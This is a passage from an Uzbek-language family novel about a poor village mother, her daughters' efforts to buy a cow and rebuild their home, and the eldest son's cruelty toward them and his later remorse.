ҳамки Шамсиддиндан дарак йўқ, Маъқул холанинг хаёлидан: “Мол бозори аллақачон тарқади, нега келмаётган бўлса”, деган фикр ўтди ва юрагига ғулғула тушди, бир кўчага чиқиб, бир ҳовлига кириб кунни кеч қилди. Она ва болалар кечки овқатни тановул қилишаётганда кўчадан мотоцикл овози эшитилди ва уларнинг ҳовлиси ёнида тўхтади, зум ўтмай дарвоза очилиб,  Шамсиддин кириб келди. –Сигир қани?–сўради Маъқул хола унга рўпара келиб.–Сигир қани? –Сигирнинг ўрнига мотоцикл олдим,– Шамсиддин бепарволик билан гапирди. – Қайнотам уй олиб берди, онам мотоцикл совға қилса кўйиб кетадими? Уларнинг олдида тилим узун бўлишини истамайсанми? Маъқул холанинг гапиришга мажоли қолмай, ерга ўтириб қолди. Ҳафсаласи пир бўлган болалар: “Онам бирор нарса деса акам калтаклаб кетмасин”, деб дам Шамсиддинга, дам Маъқул холага жовдираб қарашарди. Меҳри чидаб туролмади, бутун бошли оиланинг қувончини мотоциклга алмаштирган акасига еб қўйгудай тикилди. –Нега сигирнинг пулига мотоцикл олдингиз? Нима ҳаққингиз бор? Бизга сигир керак эди? Ҳамма Меҳрига қаради. Онаси қизининг олдига бориб, оғзини қўли билан ёпди, Санам билан Хайрулла қўрққанидан дир-дир титради. –Сен зумрашани тилинг чиқдими? – деди Шамсиддин Меҳрига яқинлашиб. –Кесиб ташлайми? –Билмасдан гапириб юборди, –Маъқул хола қизини гавдаси билан тўсаркан ўғлини юмшатмоқчи бўлди. – Эътибор берма,  уйингга кетавер. –Билиб гапирдим, –кутилмаганда Меҳри онасининг орқасидан чиқди. – Нега акам сизни ўйламайди? Сизга раҳми келмайди? Шу инсофданми? Ҳамма Шамсиддин Меҳрини уриб, ола қонига бўяйди, деган фикрда қўрқув ва ваҳимадан тарашадай қотиб қолди, бироқ негадир Шамсиддин Меҳрини урмади. –Сен билан кейин ҳисоб-китоб қиламан, –деди у. Шамсиддиннинг чекинганидан Маъқул холанинг юзи ёришди. –Ягона умидим сигирга етишиш эди, –афсус билан ўғлига қаради у. – Жуда қийналгандик, йўқса сендан бирор нарсани аярмидим. Майли, ҳеч нарса демайман, ўсгин,  ўнгин, умринг узоқ бўлсин, аммо менга қилганларинг болаларингдан қайтсин. Маъқул хола бошқа гапирмади, йиғлагандан бери бўлиб турган  қизига  қаради-ю, ўзини мард тутиб, уйга кириб кетди.   ХХХ Йўл-йўлакай Шамсиддиннинг кўз ўнгидан онасининг аянчли қиёфаси кетмади. У бу номаъқул ишни қилмаган бўларди ўзини  уйида сиғинди мисол ҳис этмаганида. Аслида ҳеч ким уни сиғинди демаса-да, қайнотаси уй берганидан бўён безовта – кутилмаган совғадан қанчалик хурсанд бўлса, шунчалик  ор қилаётган эди. Қўчқор ота уни ўз ўғлидай кўради, қайнонаси ҳам. Шамсиддиннинг ўзи ҳам буни яхши билади, бироқ  кўз-кўзга тушган маҳал улар совға қилган уйда яшаётгани эсига тушади ва хаёлида бу уй қарзга берилган-у, бундай катта қарзни умрбод узолмаётгандай, ҳамиша муттаҳам каби яшашга маҳкум этилгандай ҳис этади ўзини. Боласи туғилгач қайнонаси бир муддат уларникида яшаганида  Шамсиддин иложи борича уйига кеч келишга ҳаракат қилди, тўй ёки зиёфат чиқса, баҳона топилганидан қувонди. Ўзи омонатдай яшаётган уйда бирор қариндошини яқинлаштирмоқчи эмасди Норхол, Бодом биз билан яшайди, деб туриб олмаганида. Дастлабки пайтлар Шамсиддин пул йиғиб,  машина оламан ва шу орқали ўзимни кўрсатаман, деб ўйлаганди, бироқ  дорихонада бировнинг қўлига қараганидан топгани рўзғоридан ортмади. Ишлари кўпам юришмагач сиқила бошлади ва уйга кўпинча ширакайф келадиган бўлди. Эридаги ўзгаришни сезса-да дами ичида юрган Норхол бугун ҳам манти қилиш учун пиёз тўғраётганида Бодом келиб қолди. –Келинг, Бодом, – деди Норхол қайнсинглисига пешвоз чиқаркан. – Манти қилаётгандим, қайнонангиз яхши кўрарканлар. – Яхши кўрмаса келин қилармиди, янга, –Бодом кулиб гапирди. – Куёвингиз иш билан Тошкентга кетгандилар,  мени сизларникига юбордилар, зериккандим, қувониб кетдим. – Яхши қилибдилар.  Сизни анчадан бери кўрмагандим, тўлишибсиз. Бодом ҳомиладор эди, қорни анча билиниб, юзларини доғ босибди. –Билмадим, янга, ўзим қора эдим, баттар қорайиб кетгандайман. –Йўқ, булар ҳомиладорлик белгилари, эсон-омон қутулиб олган заҳоти доя юзингизни артса, яна асли қаддингизга қайтасиз. Мени  икки боламгаям юзимни доғ босган эди, қаранг, ҳозир бинойидекман. –Биламан, сизни эслаб таскин топаман. –Энг муҳими, она бўласиз, бу кунларга етганлар бор, етмаганлар бор, –кулди Норхол. –Тўғри, шукур қиламан, ҳомиладор бўлавермаганимга аммангиз жуда зиқландилар, хайрият, ҳаммаси ўтиб кетди. Шу пайт Норхолнинг чақалоғи йиғлаб қолди, у қизча кўрган, яқиндагина чилласи чиққанди. –Мен қарайман, сиз ишингизни қилаверинг, йиғлоқ эмасми ишқилиб. –Унчалик эмас. Бола-да, барибир инжиқлиги бор. Бодом бешикни тебратиб, жиянини ухлатгач, янгасига ёрдамга келди, икковлари ишга киришиб кетдилар. Манти тайёр бўлгач,  бир муддат Шамсиддинни кутишди, қоронғи тушди ҳамки, ундан дарак бўлмади, ноилож икковлари  овқатланишди.  Шамсиддин ярим тунда қайтганида Бодом аллақачон  ухлаб қолган, Норхол тиқ этса, эшикка қараб ўтирганди. У бир қарашда  эрининг кайфи борлигини сезди. –Овқат олиб келайми? –сўради Норхол эри хонтахта ёнида ўтириб олгач. –Манти қилгандим, Бодом иккимиз келасиз деб кўп кутдик. –Бодом келганми?–деди у. –Кетдими? –Йўқ, нариги уйда, ухлаяптилар, куёв Тошкентга  кетган экан. Овқатни сузайми? – сўради у яна эридан. –Қорним тўқ, жўраларим билан мотоциклни ювдик. Бодомни чақир. Шамсиддин хотинини кутмай ўзи  синглисини чақирди. –Бодом!  Бодом! –Секин, – пичирлади Норхол, –Мафтуна уйғонади, бир амаллаб ухлатдим, эрталаб гаплашасиз, акам келармикин, деб дам шу пайтгача сизни кутиб ўтирди. Зиёфатингиз бор экан, бир оғиз айтиб қўйсангиз бўлмайдими, хавотир олиб ўтирмасдим. –Хавотир олдингми? –Шамсиддин киноя билан гапирди. –Хайрият, камина учун қайғурадиган яна бир инсон топилди. Фақат жинни онам мени ўйлайди, деб юрган эканман. Норхол маст одам билан  пачакилашмай, деган хаёлга борди-ю, барибир жаҳлини тийиб туролмади. –Шамсиддин ака, кейинги пайтларда ҳар куни кеч келаяпсиз,  жўраларингиз билан ўтиришлар кўпайиб қолди. Кеча ҳам маст эдингиз, бугун ҳам. Илмоқли гаплар айтасиз? –Ичиб тўполон қилдимми, сени урдимми? Гуноҳим нима, менга шуни айт, – деди у. –Гап мени уришингизда ёки тўполон қилишингизда эмас. Ичгандан кейин рўзғордан барака қочади. Топишингиз ёмон эмас, қайтанга озроқ йиғинсак, машина олардик. Дадам, машина олсаларинг ярим пули мендан, дедилар. Бу гап Шамсиддиннинг миясига урилди. –Отанг менга  уй бериб муттаҳам қилгани етмагандай энди ўргимчакнинг тўридай баттар ўраб олмоқчими? Менга машина ҳам, отангнинг пули ҳам керак эмас, олдин эски қарзимни узай. –Қанақа қарз ҳақида гапиряпсиз? Кимдан қарздорсиз? Сизни тушунмаяпман. –Қанақа қарз бўларди, уйнинг қарзини-да. Ахир мен отангнинг уйида яшаяпман-ку. –Унақа деманг, Шамсиддин ака. Уй дадамнинг номида эмас, менга ўтказиб берилган. –Эй, шунақа дегин. Унда сендан қарздор эканман-да. Қарзни хотинимга тўлашим керак экан, шундайми? –Сиз ҳали шунақа бўлмағур фикрлар билан яшаётган экансиз-да. Мен бўлсам иккимиз бир оиламиз, бир тан, бир жонмиз, ўртамизда сеники, меники деган гап йўқ, деб юрибман. Шунинг учун ҳам  сизни ўғлидай яхши кўрган ота-онамдан қочаркансиз-да. –Ҳа-да. Лекин уларнинг ҳурматини жойига қўйишни қотириб қўяман. Мен яхши куёв, ёмон ўғилман. Нега дейсанми? Бугун  онамнинг сигир учун йиғиб қўйган пулига мотоцикл олдим. У қон қақшаб қолди,  Меҳри ҳам. Отангга ўзимни кўрсатиш учун қилдим бу ишни. Норхол бугунги “байрам” сабабини энди тушуниб етди. У боя, эримнинг бирор ўртоғи мотоцикл олгандир, деб ўйлаганди. –Нотўғри қилибсиз. Ҳали ҳам  пулни қайтариб беринг. –Поезд кетиб бўлди. Мотоцикл олдим, деб ҳаммага мақтандим, ювдим. Энди  мотоциклни миниб юраман. Норхол Бодом ётган хонага кириб, ҳунграб йиғлади. Акасининг овозидан уйғониб кетган Бодом уларнинг тортишувини узуқ-юлуқ эшитганди. –Шунча яшаб акангизнинг кўнглини тушунмаган эканман. –Норхолнинг хафа бўлгани шундоққина сезилиб турарди. –У киши ўзларини ота-онамдан қарздор деб биларканлар. Аслида бунақа фикр на отам, на онамнинг кўнглида бор. –Акамнинг мастлик билан айтган гапларига эътибор берманг, янга, –Бодом унга тасалли берди. –У сизни қанчалик яхши кўришини мана, мен биламан, ҳатто сизларга ҳавасим келади. Акамда орият кучли, ўзини кўрсатгиси, нималардир қилгиси келади-ю, уддасидан чиқолмайди. –Бугун онангизни ранжитиб, сигир учун йиғиб қўйган пулларига мотоцикл сотиб олибдилар. –Зўр бўлибди-ку, –Бодом қувонганини яширолмади.–Онам акам учун ҳеч нарса қилмаган, аслида бу фикр унинг ўзидан чиқиши керак эди. –Билмадим... Аммо менинг юрагим эзилди. Биринчи марта сиз билан  уйларингизга борганимда онангизнинг  ёлвориб чақирганларида ҳам шундай  эзилгандим ва нега бордим, деб ўз-ўзимдан хафа бўлгандим. –Жуда кўнгилчансиз-да, янга. Мен онамнинг қилиқларига ўрганиб кетганман, парвойимга ҳам келмайди. Меҳри сизга ўхшаб раҳмдил, аммо унинг аридай узиб оладиган феъли бор. “Қизиқ, –деди Норхол ичида – Бу қиз онасига нисбатан бунчалар бағритош бўлмаса. Бегоналигимга қарамай  мен  у аёлга ачинаман, ҳатто эрим ҳам  қилган ишидан пушаймон кўринади, аламини ичкиликдан олибди. Бу Бодом тушмагурни сира тушунмадим”. Норхол эри ётган хонага кирганида Шамсиддин ўтирган жойида хонтахтага бошини қўйиб ухлаб қолганди.  Уни секин ёстиққа ётқизди ва хонтахтани берироққа тортиб, устига кўрпа ёпди. Эртаси куни эрталаб Шамсиддин ўрнидан турди, боши қаттиқ оғриётган эди. –Норхол! –    У хотинини чақираркан элас-элас кеча бўлиб ўтган воқеаларни эслади. –Ташқарига қара-чи, мотоцикл борми? Шамсиддин ресторанга мотоциклда борганини, тўрт-беш ўртоғи билан улфатчилик бошлаганини эслайди-ю, кейин нима бўлганини билмайди. Демак, жуда кўп ичган ва бундай аҳволда  рулни бошқара олмаслиги тайин эди. –Мотоцикл йўқ, –деди Норхол деразадан ташқарига қараб. –Кеча онангизни бекор ранжитибсиз. Соғми, жинними, сизни ўша аёл дунёга келтирган, онанинг кўнглини вайрон қилмайдилар. –Вайрон қилиб бўлдим, –хотинининг гапини чўрт кесди Шамсиддин. – Мен ана шунақа ўғилман, хоҳласанг шу, хоҳламасанг... У гапини тугатмади, нонушта ҳам қилмай чиқиб кетди.   Purchase ХХХ   Акасининг қилмишидан аччиқланган Меҳри туни билан  ухламай чиқди. “Фарзанд ҳам онага шунчалар бемеҳр бўладими?–ўйлади у. –Тўғри, у опам ва акамга қарашяпти, ўқитяпти, тўй қиляпти, лекин нега онамни ёмон кўраркин?” Меҳри ўйлаб уйига етолмади, бўлиб ўтган воқеалар таьсирида бир нарсага қарор қилди: қандай бўлмасин қиш киргунига қадар онасига сигир олиб беради! Ҳали ёш, эндигина ўн бир баҳорни қаршилаган қиз нимага ишониб бу қарорга келганини ўзи ҳам билмас, жияк тиккани билан ундан топган пулига мушук офтобга чиқмаслиги аён эди. У тонг саҳардан ўрнидан туриб, Санамни уйғотди. –Бир оз ётайлик, ҳали вақтли, – деди опаси эринчоқлик билан. –Туринг! – Меҳри бўш келмади. – Туринг, жиякнинг чаласини тикамиз. –Мактабга борамиз-ку. – Санам нариги ёнбошига ағдарилди. –Мактабга боришга вақт бор,  бугундан ҳаракат қилиб жияк тикиб сотсак, қишга қадар онамга сигир олиб берамиз. Санамнинг уйқуси қочиб кетди, ўрнидан туриб, синглисига ажабланиб қаради. –Хаёлинг жойидами? 200 сўм пулни икки йил йиғдик. Бир йилда сигир олиб бўладими? –Бўлади. Ҳаракат қилсак бўлади. Опа-сингил бир соатлар чамаси жияк тикишгач, нонуштадан сўнг мактабга жўнашди. Шу кундан эътибордан ҳар эрталаб ва кечқурун дарс тайёрлашгач Меҳри опасини ҳоли-жонига қўймади, кўзларига уйқу тиқилиб келгунича жияк тикишди, нафис ва бежиримлиги учун уларнинг жияклари қўл-қўлга тегмай сотилди. Қизлар Маъқул холанинг, толиқиб қоласиз, деб койишига парво қилишмади. Уларнинг шижоатини кўриб она ҳам  рўзғордан қисиб, нафақанинг илгаригидан кўпроқ қисмини яшириб қўядиган бўлди. Лекин барибир пул йиғиш қийин, Меҳри яна нимадир қилишни ўйлар, аммо ўша “нима”ни қандай амалга оширишни билмас, ёшгина қиз хаёлидаги ўй-ташвишлар катта одамларникидан каттароқ эди. –Бозорда тут ҳам пул экан,–деди бир куни мактабдан қайтган Санам. –Кўриб ҳайрон қолдим. –Қаерда кўрдинг? – сўради онаси. – Бозорга бордингми? –Шаҳар мактабига олимпиадага боргандик, қайтишда устозимиз билан бозорга кирдик. Бу гап Меҳрининг миясига электр токидай урилиб, опасини маҳкам қучоқлаб олди. –Тут пул бўлса, биз ҳам  сотамиз,–деди унга. –Бунча тутни ким ейди? Ўшанда кўклам сепини ёйиб, баҳор келган, ҳовлиларидаги марварид тут ғарқ  пишганди. Опа-сингил бир қарорга келиб, якшанба куни эрталаб тут қоқиш учун ерга беризент тўшашди. Уларга Хайрулла кўмаклашди, эпчиллик билан тут дарахтининг устига чиқиб қоқа бошлади. Бир зумда қоқилган тутга икки челак тўлди, Хайрулла челакларни автобус бекатигача кўтаришиб борди. Бозорда фақат бир киши тут сотаётган экан, уларнинг тутини ҳам кўтарасига олди. Опа-сингил хурсанд бўлиб, ортларига қайтдилар. Келаси шанба, якшанба кунлари ҳам бозорга тут олиб чиқиб, пулларини оналарига олиб келиб беришди. Меҳри билан Санам энди бозорга бошқача нигоҳ билан қарашди ва кўришдики, уларникида ерга тушиб, қўшниларининг молига ем бўлиб ётган мевалар ҳам бу ерда пул экан. Ҳовлиларида йўқ дарахтнинг ўзи йўқ, раҳматли отаси бир чўп кўринса ерга қадаб қўярди. Опа-сингилнинг бозори чаққон бўлди, кейинроқ гилосни, ўрик ва олмани чиқариб сотишди. Шу тариқа кузнинг охирларида анча пул жамғаришди. –Бу пул сигир олишга етмайди, – деди Маъқул хола. –  Ғунажин олиб боқамиз-да, келаси йили қочирамиз. Якшанба куни азонда Меҳри билан йўлга тушган Маъқул хола бирор соатларда мол бозорига етиб келди. Бозорда аёл зоти йўқлигидан ўтган ҳам, қайтган ҳам уларга қараб-қараб қўяди. –Ҳа, хола, – деди бир киши уларга яқинлашиб. – Мол оласизми? –Олмоқчи эдим, пулим етармикин? –Жувона керакми ё ғунажинми? –Сигир олмоқчи эдим, пулим етмаса, ғунажин оламан? Нотаниш киши даллол экан. Маъқул холадан қанча пули борлигини билгач, кўнглини хотиржам қилди. –Пулингизга яхши ғунажин топиб бераман, келаси йили қочирасиз. Шу ерда туринг. Орадан ҳеч қанча вақт ўтмай даллол уларни чақирди. –Янга, мана бу ғунажинни кўринг, зотдор. Мўлжалингизни олади, пулингизга куймайсиз. Маъқул хола молни олар бўлди, она-бола ғунажинни етаклаб, уйга қайтишди. ХХХ   Маъқул хола кичкина бўлсаям уйларида мол борлиги учун ўзида йўқ хурсандлигидан ғунажинини подага қўшмай, лалмида ўзи ўтлатиб келарди. Декабр ойи бўлишига қарамай ҳаво илиқ, далаларда ўт бор, қизларининг мол олишга астойдил киришганини кўрган Маъқул хола ёзда озуқа ҳам ғамлаган, хуллас, кўнгли тўқ эди. Бу орада Хайрулла мактабни битириб, Шамсиддин ҳар қанча ундамасин,  ўқишга боришни истамай, армияга кетди. Ғайбиддин техникумни битирган бўлса-да, қишлоққа қайтмай, тошкентлик бир оиланинг ёлғиз қизини ёқтириб, ичкуёв бўлди. Тўйига Шамсиддин билан Бодом қатнашиб келишди. Ғунажин  сигир бўлиб, бузоқча топган йили Санам ҳам мактабни битирди. У педтехникумга ўқишга кирди ва ётоқхонада жойлашиб, ҳафтанинг шанба кунлари уйига келадиган бўлди. Бошқа пайт катта ҳовли Меҳри билан онасига қолиб кетди. Ўша йили қиш қаттиқ келди ва эски иморат томидан чакки ўтиб, томчининг бир меъёрдаги чак-чак товуши она-боланинг асабларини эговлаб ташлади. Маъқул хола чакки томаётган жойга челак қуйиб, гиламларини йиғиштирди-да, қуруқ жойга кичкина кигизча тўшаб, тумушиб ётди. Меҳри учун энг тинч ва иссиқ жой тахмоннинг усти бўлди. –Мен ҳам баланд, чиройли уйларда яшасам, ўлсам армоним йўқ эди – деди бир куни Маъқул хола. –. –Албатта, яшайсиз–онасининг кўнглини кўтарди Меҳри. –Ҳали кўрасиз, сизга ўзим уй қуриб бераман, бу кунлар ўтиб кетади. –Билмадим. Катта бўлиб айниб қолмасанг, ҳозирча бор умидим сендан. Меҳри индамади. Хаёлидан: ”Эҳ, онажон, қалбим меҳр билан тўла эканини билмайсиз-да. Тезроқ  катта бўлсам-у, орзуларингизни рўёбга чиқарсам”, – деган фикр ўтди. –Қишдан эсон-омон чиқиб олсак, сигирнинг боласини сотиб уй қуришни бошлаймиз, –Маъқул хола ўртадаги сукунатни бузиб гапирди. – Унгача бузоқ катта бўлади. Бу аҳволда уй қулаб, том босиб қолиши ҳеч гап эмас. Дарвоқе, уй анча хароба эди.  Ҳар йили ёзда  бир амаллаб қорилган лойни болалар кичкина челакда ташиб берар, она томсувоқ қиларди. Тупроғини енгиллатмай устма-уст сувайвергандан том оғирлашган, уйнинг айрим жойларида вассалар осилиб қолганидан тирговуч қўйишганди. Шунинг учун Маъқул хола хавотир билан яшар, ўзидан ҳам кўра Меҳрини ўйларди. Ёзга яқин Маъқул хола ғунажинни сотмоқчи бўлди. –Она,  ғунажинни сўйиб сотсак нима дейсиз? Ўзимизга ҳам гўшт олиб қолардик. Меҳрининг сўзларидан Маъқул холанинг томоғига нимадир тиқилди.  Улар овқатга деярли гўшт солишмасди. –Кечир, болам, –деди Маъқул хола. –Она бўлиб  сенга кўнглинг тусаган нарсани олиб беролмаяпман, кечир. Меҳри онаси  бу гапни кўнглига олади, деб ўйламаганди, тезда хатосини тузатди. –Майли, сотаверинг, шунчаки айтдим-қўйдим-да. –Йўқ, сўйиб сотамиз. Ғунажин ҳали жуда ёш бўлгани учун кўзим қиймаганди. Бир зумда етиб келган қассобнинг ҳам ғунажинни сўйишга қўли бормади. –Янга, жуда ёш экан, увол бўлади-да. –Биламан,–деди Маъқул хола. – Гуноҳи менинг бўйнимда, сўяверинг, боламнинг оғзи гўштга етсин, ҳеч бўлмаса калла-почаси қолади-ку. Қассоб ғунажинни сўйиб, бир бўлак гўштни уй эгаларига олиб қўйгач, Меҳрини ёнига ўтирғизиб, сотилган гўштнинг пулини бераверди. Озроғи насияга кетганини ҳисобга олмаса, қолган ҳаммаси пулланди. Бу орада Маъқул хола молнинг  калласини тозалаб, қозонга солди. Гўштни сотиб бўлишгач, Меҳри негадир бир даста пулни деворнинг ковагига яширди-да, қолганини онасига берди. –Мана, пул, – деди у.– Беш  килоси насияга кетди. У онасига гўштни насияга олганлар рўйхатини берди. Маъқул хола пулларни рўмолчага тугиб уйга қўйиб чиқиши билан кўчадан мотоцикл овози эшитилди ва Шамсиддин кириб келди. Меҳрининг юраги шиғ этди, акаси аллақачон ғунажинни сўйиб сотишганини эшитибди. –Нега сўйдирдинг?– ўдағайлаб онасига яқинлашди у.  – Кимдан сўрадинг? –Ўзимнинг молимга хўжайинлик қилолмайманми? Сени пулинг кўйгани йўқ-ку, нега аралашасан?– деди Маъқул хола қўрқа-писа. –Болаларингни ҳаммасини ўқитяпман, тўй қиляпман, нега аралашмас эканман? Бузоқни ҳам сўядиларми? Уволдан қўрқмайдиган  қассобни қаердан топдинг? Тириклай сотсанг ўласанми? – Ўзимизга ҳам гўшт қолсин, дегандим.... –Бундан  кўра заҳар еганинг яхши эди. Қани гўштнинг пулини олиб чиқ. Маъқул хола қалтирай бошлади. –Йўқ, болам. Пулга уй қураман. Чакки томиб, ҳамма ёқ ивиб, қишдан қийналиб чиқдик, бу аҳволда уй устимизга қулаб тушади. –Сени жонинг қаттиқ, ўлмайсан. Олиб чиқ пулни. Шамсиддин онасига яқинлашди. –Тўхтанг, –Меҳри важоҳат билан акасига қаради. – Онамга қўлингизни тегдирманг. Пулни онам берган тақдирда ҳам мен бермайман. У пуллар бизники, меҳнат қилиб топганмиз. Меҳрининг бетгачопарлигидан ғазабланган Шамсиддин онаси қолиб, синглисига қараб ўқталди. Буни кўриб Маъқул хола шошиб қолди. –Тўхта, тўхта! Ҳозир олиб чиқаман. Маъқул хола уйга кириб кетди. Шамсиддин ўзига тик қараб турган Меҳрининг юзига тарсаки туширди. –Сенга тилингни калта қил, деб илгари ҳам айтгандим, унутибсан-да. –Сиз қўлингизни калта қилинг, –тап тортмай гапирди Меҳри. –Мен сенга қўлни калта қилишни кўрсатиб қўяман. Шамсиддин  синглисини итариб юборди,  Меҳри деворга урилиб, ҳушини йўқотди. Қўлида пул тугилган рўмолча билан чиқиб келган Маъқул хола қизини бу аҳволда кўриб даҳшатга тушди, рўмолчани отиб юбориб ўзини Меҳрининг устига ташлади. –Болам, болажоним! Кўзингни оч! Боламни ўлдириб қўйди бу Азроил. Меҳримни ўлдириб қўйди. Жаҳлдан кўзлари қонга тўлган Шамсиддинни онасининг фарёди ўзига келтирди, рўмолчани чўнтагига солар-солмас Маъқул хола девор тагида турган супургини олиб, ўғлини савалай бошлади.  Унинг кўзига ҳеч нарса кўринмас, овозининг борича бақириб ўғлини қарғар, супурги билан урарди. Онасининг важоҳатини кўрган Шамсиддин кўчага қочиб чиқди ва  мотоциклига ўтириб кўздан ғойиб бўлди. –Боламни ўлдирди, мени боламдан айирди, –тинимсиз қичқирарди Маъқул хола. Унинг овозини эшитиб бир зумда атрофда одам тўпланди. –Халойиқ, болам ўлиб қолди, уриб ўлдириб қўйди. Улар Маъқул холанинг ортидан ҳовлига киришди. Кимдир ҳушсиз ётган Меҳрини кўтариб олди, кимдир сўрига кўрпача солди, кимдир юзига сув сепди. Меҳри ўзига келганида бошининг устида онаси йиғлаб ўтирар, қўшнилар атрофини ўраб олишганди. –Ўзига келди, ўзига келди, – чуғурлашди улар. –Хайрият, кўзингни очдинг, – деди Маъқул хола. –Ўлиб қолдингми, деб қўрққандим. –Акам... –Аканг кетди. Пулларни олиб кетди.  Бир сўм қолдирмади, ноинсоф. –Шамсиддинни кўрмабман-да, адабини бериб қўярдим, –Малика момо аччиқланиб гапирди. – Сингилга ҳам шунақа бераҳмлик қиладими? Ўлиб қолса нима бўларди? –Ҳали ҳам шу қизнинг борига шукур, онасини эплаб юрибди, – деди рўпараларида яшовчи Қодир ота. – Раҳмат айтиш ўрнига, қилган ишини қаранг. Қўшнилар жавраб-жавраб кетишди. Меҳри бир амаллаб ўрнидан туриб, девор ковагидаги  пулни олиб келди. –Озроқ яшириб қўйгандим,– деди у пулни онасига бераркан. – Кўнглим ниманидир сезганди. Эссиз, кўпроғини яширмаган эканман. Шундай қилиб Маъқул холанинг уй қуриш ҳақидаги орзуси ушалмай, келаси қишда яна шу вайронада яшайдиган бўлди. ХХХ Order   Қишлоқ кўчасидан ортидан чанг ва тутун қолдирганича мотоциклини ўқдай  учириб бораётган Шамсиддиннинг кўзига ҳеч нарса кўринмас,  йўловчилар ўзларини четга олишаркан, нима бало, ичиб олганми, деб  қўйишарди. У шу зайлда катта йўлга чиқиб олгач, бири ортидан бири келаётган тирбанд машиналар хаёлини жойига келтирди, шекилли, тезликни пасайтириб тўхтади. Унинг кўз ўнгида беҳуш ётган Меҳри гавдаланди ва, ўлиб қолган бўлса нима қиламан, деб саросимага тушди. Бир хаёли ортига қайтиб, ундан хабар олмоқчи ҳам бўлди-ю,  кўзини ғазаб қоплаб, уни супурги билан қувлаган  онасини  эслаб, фикридан қайтди. “Нега шу бугун онамникига келдим? – ўзидан ўзи хафа бўлди Шамсиддин. –Бошқа кун қуриб кетганмиди?” Аслида у шунчаки  хабарлашмоқчи эди, дарвозанинг олдида қўшниси Қодир ота билан суҳбатлашиб қолгач, тўнини тескари кийиб олди. – Онанг ғунажинини сўйдирган экан, гўшт олгандим, пулини бериб кетяпман, –деди Қодир ота салом-аликдан сўнг. –Ғунажин ҳали  жуда кичик эди-ку, –ажабланди Шамсиддин. –Меҳрининг гўштга ҳаваси кетибди, калла-почаси қолади, деганда шўрлик. Қодир отанинг сўзлари Шамсиддиннинг нафсониятига тегди. “Онамнинг ақли жойида бўлса  бузоқни сўйдирадими? – жаҳли чиқди унинг. –Бир оғиз менга маслаҳат солмайдими? Гўштга ҳаваси кетганмиш, умрида гўшт еб кўрмагандай гап қилишини буларни”. У ана шу суҳбат таъсирида ҳовлига қадам қўйди ва жаҳлини жиловлолмай қолди, боз устига аччиқма-аччиққа  бор пулини тортиб ҳам олди. Шамсиддин чўнтагига қўлини суқиб, рўмолчани чиқарди-да, пулларни сочиб юбормоқчи бўлди-ю, яна фикридан қайтди, лекин қўлидаги рўмолча кафтини оловдай кўйдирди ва яна шошиб чўнтагига солиб йўлида давом этди. Биров-ку биров, Шамсиддин ўзини ўзи тушунмайди баъзан. Онасини кўриб кетгач, кўпи билан бир ҳафтага чидайди, сўнг яна ота ҳовлиси оҳанграбодай ўзига тортаверади ва тўс-тўполон билан бўлсаям бир келиб,  кўнгли хотиржам тортади. Онасини одам ўрнида кўрмаса-да, бирор саволига тузук жавоб қайтармай, гапларидан энсаси қотса-да, барибир  уни кўриши билан таскин топади, ҳовури босилади ва шунинг баробарида қалбидаги илиқ туйғулар  тумандай тарқайди ва юраги тошга айланади-қолади Аслида у онани ҳурмат қилиш лозимлигини билади-ю, менинг онам бундай ҳурматга лойиқ эмас, деган фикр  миясига маҳкам ўрнашганидан ўзини идора қилолмай қолади. Кўз ўнгига онасининг  сочлари тўзғиб кўча кезгани, болаларга калака бўлгани, ўз-ўзига   гапириб юргани, мактаб ҳовлисида кўрсатган томошаси, Ғайбиддиннинг аянчли қиёфаси келаверади ва қўллари беихтиёр мушт бўлиб тугилади. Шундай пайт ёнида онаси бўлса борми, албатта, мушт мўлжалга бориб тегиши аниқ. Бу ҳаётдан зериккан укалари ва сингилларини онасининг “чангал”идан қутқариб узоқроқда, одамга ўхшаб яшатишни истайди у. Ўлгудай ўжар, айтгани айтган, дегани деган, ҳеч кимдан ҳайиқмайдиган кенжа синглиси Меҳрини онасидан ажратолмаслигини билса-да, унинг учун ҳам қайғуради, ич-ичидан ачинади. Бугун  у Меҳрининг ўлиб қолишидан шунчалик хавотирга тушди-ки,   синглисига бир гап бўлса ўзини айбдор деб ҳис этгани учунгина эмас, балки унга нисбатан қалбида акалик меҳри борлиги учун ҳам хавотирланаётганини ҳис этди ва қилмишидан уялиб кетди. Назарида пул турган  чўнтаги бутун танасини ловуллатаётгандай туюлди. Бозор рўпарасига келганида кўзи  исириқ тутатиб садақа сўраётган тиланчи аёлга тушди, беихтиёр мотоциклни тўхтатиб,  уни кузатиб турди. Тиланчи Шамсиддин томонга юриб, ўзига тикилиб турган йигитдан умидвор бўлиб қўлини чўзди: –Садақа радди  бало, садақа қил, ўғлим, ишларинг юришиб кетсин, юрагингдан ғашлик арисин, беморларингни дардига даво  берсин... Шамсиддин бир зум иккиланиб турди, вужудига олов пуркаётган пулларни бериб, ўзини бу оташдан халос этмоқчи бўлди-ю,  яна иккиланди: “Эй аҳмоқ Шамсиддин, – қўлини чўнтагидан узмай  ўзига ўзи таъна қилди у.– Нима қилмоқчисан? Онанг билан синглингни чирқиратиб олган пулларни бир тиланчига бермоқчимисан? Шунчалик тубанмисан?” У ўзидан ғижинди, эсини йиғиб олди-да, мотоциклни ўт олдириб, йўлида давом этди,  кўнглига қил сиғмаганидан  ишга ҳам оёғи тортмади ва уйига йўл олди, остона ҳатлаб кираркан қўзларини хотинидан олиб қочишга уринди, барибир эрини кўрган Норхолнинг капалаги учди. –Нима бўлди? –сўради у хавотир билан. – Рангингизда ранг қолмабди, сочларингиз тўзғиган. Шамсиддин хотинига лом-мим демади, хонага кириб, кўрпачага чўзилди, кўзларини шифтдан узмай хаёлга толди.  Унинг ортидан изма из кириб келган Норхол яна хавотир билан сўради: –Тинчликми? Ҳеч ким билан жанжаллашмадингизми? –Йўқ, –зўрға жавоб қайтарди Шамсиддин ҳануз кўзларини шифтдан узмай. –Онам мендан бир оғиз сўрамай  бузоқни сўйиб сотибди. Жаҳлимга чидолмай пулларини тортиб олдим. –Бекор қилибсиз, онани оғринтирмайдилар, Шамсиддин ака, – деди Норхол эрини койиб. –Ҳали ҳам кеч эмас, бориб узр сўраб, пулларини қайтариб беринг, норози бўлмасинлар. –Норози қилиб бўлдим. У Меҳрини итариб, ҳушидан кеткизганини хотинига айтмади, уялди, ухлаб ҳамма нарсани унутгиси келиб,  ўнг ёнбошига ағдарилди. Эрига  гапини ўтказолмаслигини билган Норхол хонадан чиқиб кетди, Шамсиддин анча пайтгача тўлғониб ётди, бироқ  ухлолмади, кўнгли ғаш, хаёли жойида эмас эди. Қоронғи 